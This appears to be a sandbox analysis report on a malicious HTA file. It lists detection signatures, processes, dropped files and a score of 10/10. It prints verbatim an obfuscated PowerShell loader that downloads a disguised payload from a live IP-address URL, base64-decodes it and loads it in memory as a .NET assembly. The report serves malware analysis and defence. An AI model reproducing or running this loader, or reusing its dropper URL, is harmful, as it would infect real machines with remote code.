Overview

overview

10

Static

static

1

verygreata...ng.hta

windows10-2004-x64

10

verygreata...ng.hta

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    14/09/2026, 15:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    verygreatansweriamthinking.hta
  • Size 808KB
  • Sample260914-slvdpsek91
  • SHA256 32d97190dff8cdbf3abf079bad58a162f212a98c8f23c56433f63d43adb2a11d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
discoveryexecution

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://69.12.83.176/img/MSI_PRO_Latest.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\verygreatansweriamthinking.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    PID:4704
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$penunucavuxaxexerugolohapoziyemobukumavojatazirovadupasaxakinezilixurememufekezudajagacenisocefemoyu=''http://69.12.83.176/img/MSI_PRO_Latest.png''; $biwisabosovudalijipinajowajizezufiliyohohemuvexuzaqoqalomupijeyitojoduduqidoxuwicijiyukemimuhojibagi = [System.Net.HttpWebRequest]::Create($penunucavuxaxexerugolohapoziyemobukumavojatazirovadupasaxakinezilixurememufekezudajagacenisocefemoyu); $biwisabosovudalijipinajowajizezufiliyohohemuvexuzaqoqalomupijeyitojoduduqidoxuwicijiyukemimuhojibagi.UserAgent = ''Mozilla/5.0''; $gequlajuguzidekezelojexobibatijodijotemapetupugamaweyojuniseyuxozalahowudekiretuvofoquhilorivumojuni = $biwisabosovudalijipinajowajizezufiliyohohemuvexuzaqoqalomupijeyitojoduduqidoxuwicijiyukemimuhojibagi.GetResponse().GetResponseStream(); $jofomitixujuzizepolavozugevewopoxugalulometubecuwakunadovubeyodejopayedomapatupobumoradejuyozanabora = New-Object IO.StreamReader($gequlajuguzidekezelojexobibatijodijotemapetupugamaweyojuniseyuxozalahowudekiretuvofoquhilorivumojuni); $jokeqixeqavoyaxaqotigahojugemekehuposemawujudiwucopiqutusubegetapahomohifukuliyedanuqalevovowunonece = $jofomitixujuzizepolavozugevewopoxugalulometubecuwakunadovubeyodejopayedomapatupobumoradejuyozanabora.ReadtoEnd(); $comugoyesujuwudarezimafileyinidewevevabezatedodecutepusayoneyucelecupamulisujocihoxadovugeboqabufaya=''IN-''; $mayijununacakerahuciseyebaredujogubimoyowowocuronewububopupuporataxenonayiziqegajusetoyezudejacunaqa=''-in1''; $yuyeyiwupuxiyirucuduyijinibedafogutonogewoyurusejejamopacepobexowocomebidayuzecakusewonefinelemaxaji=$jokeqixeqavoyaxaqotigahojugemekehuposemawujudiwucopiqutusubegetapahomohifukuliyedanuqalevovowunonece.IndexOf($comugoyesujuwudarezimafileyinidewevevabezatedodecutepusayoneyucelecupamulisujocihoxadovugeboqabufaya); $mihuzihabeviyujemapinujoyukazuqavayakowilofemowuxaqosupimilarihiyekeridoniruwukubalimoyemawanotemuxu=$jokeqixeqavoyaxaqotigahojugemekehuposemawujudiwucopiqutusubegetapahomohifukuliyedanuqalevovowunonece.LastIndexOf($mayijununacakerahuciseyebaredujogubimoyowowocuronewububopupuporataxenonayiziqegajusetoyezudejacunaqa); if($yuyeyiwupuxiyirucuduyijinibedafogutonogewoyurusejejamopacepobexowocomebidayuzecakusewonefinelemaxaji -eq -1 -or $mihuzihabeviyujemapinujoyukazuqavayakowilofemowuxaqosupimilarihiyekeridoniruwukubalimoyemawanotemuxu -eq -1){return}; $tiriyiluwonotogemixucavemisezucidumesekucokimeradidipumiyewipodaqefecutuxazorepilohacojakehuyufoqezi=$yuyeyiwupuxiyirucuduyijinibedafogutonogewoyurusejejamopacepobexowocomebidayuzecakusewonefinelemaxaji+$comugoyesujuwudarezimafileyinidewevevabezatedodecutepusayoneyucelecupamulisujocihoxadovugeboqabufaya.Length; $gonihofeqipevudusavirawonuwesuvematijikivutofuwemiyuqogulevalekuqofiqexomafocalezusosoqemiyizusopiwi=$jokeqixeqavoyaxaqotigahojugemekehuposemawujudiwucopiqutusubegetapahomohifukuliyedanuqalevovowunonece.Substring($jokeqixeqavoyaxaqotigahojugemekehuposemawujudiwucopiqutusubegetapahomohifukuliyedanuqalevovowunonece.IndexOf($comugoyesujuwudarezimafileyinidewevevabezatedodecutepusayoneyucelecupamulisujocihoxadovugeboqabufaya)+$comugoyesujuwudarezimafileyinidewevevabezatedodecutepusayoneyucelecupamulisujocihoxadovugeboqabufaya.Length, $mihuzihabeviyujemapinujoyukazuqavayakowilofemowuxaqosupimilarihiyekeridoniruwukubalimoyemawanotemuxu-($jokeqixeqavoyaxaqotigahojugemekehuposemawujudiwucopiqutusubegetapahomohifukuliyedanuqalevovowunonece.IndexOf($comugoyesujuwudarezimafileyinidewevevabezatedodecutepusayoneyucelecupamulisujocihoxadovugeboqabufaya)+$comugoyesujuwudarezimafileyinidewevevabezatedodecutepusayoneyucelecupamulisujocihoxadovugeboqabufaya.Length)); $livulinozejuhiyuzonelovaqewuguvifowecexiqexuvayuqusakabewukoceqotimamuhinifumiyahupuvezisojisuyicobo=$gonihofeqipevudusavirawonuwesuvematijikivutofuwemiyuqogulevalekuqofiqexomafocalezusosoqemiyizusopiwi.Replace(''*'',''A'').ToCharArray(); $jenikimaxenawaculaxucecahifaranexixuyawerahujugaxuquveyusezolorojevudeyuyarobequguwuniligupowevabomo = -join $livulinozejuhiyuzonelovaqewuguvifowecexiqexuvayuqusakabewukoceqotimamuhinifumiyahupuvezisojisuyicobo[($livulinozejuhiyuzonelovaqewuguvifowecexiqexuvayuqusakabewukoceqotimamuhinifumiyahupuvezisojisuyicobo.Length - 1)..0]; $befemuhepineyebuqicexezebozilavuruxitatimiyobizepisozoxafuvipediboraxoveyomisutedovibiridibobiyoturo = [Type]::GetType(''System.Convert''); [byte[]]$tedikuweriwunememefufoguxoyozofivedehohenujimonokobefotomatebeqetiriveyikoroqucoranemocuzapuniticeko = $befemuhepineyebuqicexezebozilavuruxitatimiyobizepisozoxafuvipediboraxoveyomisutedovibiridibobiyoturo.GetMethod(''FromBase64String'').Invoke($null, (, $jenikimaxenawaculaxucecahifaranexixuyawerahujugaxuquveyusezolorojevudeyuyarobequguwuniligupowevabomo)); $gesegaguriwovufuhusowumabewexabeneyofoyofizimanezadejowuvebizuguloyuvapisedifuzuyecabopofebadotumijo=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $posimokevegeyaxahoqeqedebimubaqodakacimenuyisoqohowovecayezizemazetujoluziyeriyijupudinarovetizupaqo=$gesegaguriwovufuhusowumabewexabeneyofoyofizimanezadejowuvebizuguloyuvapisedifuzuyecabopofebadotumijo.Invoke([AppDomain]::CurrentDomain, (,$tedikuweriwunememefufoguxoyozofivedehohenujimonokobefotomatebeqetiriveyikoroqucoranemocuzapuniticeko)); $kepegixifavunupisinumiwixuzojuqayeyogejugodizacomeyigucifokitihenujohibimukalizobopubidugowoyebezuho=(''zMJqIPe3eH8KouLvtug7tU/rRDivhXAXz/sWxxieAEKYO9IlRi8HXytTYM5VD2yN7SnEDgUdF05/zs+FyphnPg=='','''',''V1AWFA/R8o+WU3VVxKB7lfbBjhvrV78wwhFYFwtaQGJrZZLSdzNlJTTdb3Ejjvqo'',''NsClR1X/VZ0EpSMeyuyd994xvOHdFdkanB8jdwHXXzk='',''O4esGggA2+1eed63vVEXqnuOSK4CNPf+RZ2LLCW9CaU='','''',''yGhM3R9vx5ZO3xpOmGo1SvaI9vCnaJzX2F6RarGje8E='','''',''UyaWQAdTJed8XfQodt+Hbd11Y4gf2n5CFr82/fwivqY='',''qOCA8lG3HQgXCa6deNvwTd3PJkhAwAKT8vJj2Trvhm3bQUgnFzb/C9QPiJ7tueh2'',''m4g9uodv5Zf4+PkOm08czRrI5ITRRU27HIKJ0DYQ2P4='',''y29jHrg8cg3UlYLFvRsR4k7LWJfk9GE+w7ZUrUbnoIk='',''w7Ovt642Yb6xhUjjimNLEL6MiVPInicf4Mq0MNA5stQ='','''',''PdfCFJffBaz1YzkztIWJepdQP0Aj8DB3X5vQIJ0FdMk='',''FaCkBBBpyntZW6/W8+8z4mktSQwUoIz1RIBh0M09LPo='','''','''',''''); try{ $fotuxixeyokesehujizudagekizimacasoweresatapayererujozidisuyepohihiruradijivaqohineqoceqiwizojuluyivo=($posimokevegeyaxahoqeqedebimubaqodakacimenuyisoqohowovecayezizemazetujoluziyeriyijupudinarovetizupaqo.GetTypes() | Where-Object Name -eq ''gfffffffffffffffffffffffffff'' | Select-Object -First 1); $rakicaneyevejurohebaxiranavaciyuwahufivalodewetexoxerejerudibiyoyocoqozosolupurajasaserogerimomexoka=($fotuxixeyokesehujizudagekizimacasoweresatapayererujozidisuyepohihiruradijivaqohineqoceqiwizojuluyivo.GetMethods() | Where-Object Name -eq ''hhhhhhhhhhhhhhhhhhhhhhhhh'' | Select-Object -First 1); $rakicaneyevejurohebaxiranavaciyuwahufivalodewetexoxerejerudibiyoyocoqozosolupurajasaserogerimomexoka.Invoke($null,[object[]]$kepegixifavunupisinumiwixuzojuqayeyogejugodizacomeyigucifokitihenujohibimukalizobopubidugowoyebezuho) }catch{}'))"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4812

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_bb0tfpyf.xef.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bb0tfpyf.xef.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/4812-1-0x000001F0466F0000-0x000001F046700000-memory.dmp
        Download

        memory/4812-0-0x000001F0466F0000-0x000001F046700000-memory.dmp
        Download

        memory/4812-2-0x000001F05F6E0000-0x000001F05F702000-memory.dmp
        Download

        memory/4812-11-0x000001F0466F0000-0x000001F046700000-memory.dmp
        Download

        memory/4812-10-0x000001F0466F0000-0x000001F046700000-memory.dmp
        Download